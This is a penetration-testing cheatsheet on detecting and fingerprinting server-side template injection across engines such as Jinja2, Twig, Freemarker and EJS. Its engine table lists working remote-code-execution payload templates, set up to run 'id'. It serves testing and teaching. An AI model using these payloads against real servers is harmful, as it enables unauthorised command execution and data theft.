SSTI Detection
Cheatsheet

// server-side template injection — engine fingerprinting & probing

Detection workflow

01
Find Injection Points
URL params, form fields, headers, cookies — anywhere user input is reflected in the response.
02
Confirm Injection
Send a math probe. If the server evaluates it, you have SSTI.
{{7*7}} → 49?
03
Fingerprint Engine
Use syntax-specific probes to narrow down which engine is running.
04
Exploit
Use engine-specific payloads to read files, env vars, or achieve RCE.

Initial polyglot probes

Payload
What it tells you
{{7*7}}
Jinja2, Twig, or similar Mustache-style engine — evaluates if output is 49
${7*7}
Freemarker, Smarty, or Tornado — evaluates if output is 49
<%= 7*7 %>
ERB (Ruby), EJS (Node.js) — evaluates if output is 49
#{7*7}
Ruby (ERB interpolation) or Slim — evaluates if output is 49
{{7*'7'}}
Distinguishes Jinja2 (7777777) from Twig (49)
@(7*7)
Razor (.NET) — evaluates if output is 49

Engine fingerprint map

Engine Language Syntax probe Expected output RCE payload (example)
Jinja2 Python {{7*'7'}} 7777777 {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Tornado Python {%raw%}{{7*7}}{%endraw%} / import test 49 {%import os%}{{os.popen('id').read()}}
Mako Python ${7*7} 49 ${__import__('os').popen('id').read()}
ERB Ruby <%= 7*7 %> 49 <%= `id` %>
Slim Ruby #{7*7} 49 #{`id`}
Twig PHP {{7*7}} 49 {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
Smarty PHP {$smarty.version} version string {php}echo `id`;{/php}
Freemarker Java ${7*7} 49 ${"freemarker.template.utility.Execute"?new()("id")}
Velocity Java #set($x=7*7)${x} 49 #set($e="")$e.getClass().forName("java.lang.Runtime").getMethod("exec","".class).invoke(...)
Pebble Java {{7*7}} 49 {% for i in "".class.forName("java.lang.Runtime")... %}
EJS Node.js <%= 7*7 %> 49 <%= require('child_process').execSync('id') %>
Pug / Jade Node.js #{7*7} 49 - var x = require('child_process').execSync('id')\n= x
Razor .NET @(7*7) 49 @System.Diagnostics.Process.Start("cmd.exe","/c id")

Passive fingerprinting hints

HeadersX-Powered-By, Server headers may leak framework (e.g. Express, Rails, Django)
CookiesSession cookie names: JSESSIONID → Java, PHPSESSID → PHP, rack.session → Ruby
Extensions.jsp → Java, .erb → Ruby, .twig → PHP, .j2 → Jinja2
ErrorsVerbose error messages often include stack traces naming the template engine directly
WappalyzerBrowser extension that passively detects tech stack from response characteristics
whatwebCLI tool: whatweb target.com — identifies CMS, framework, server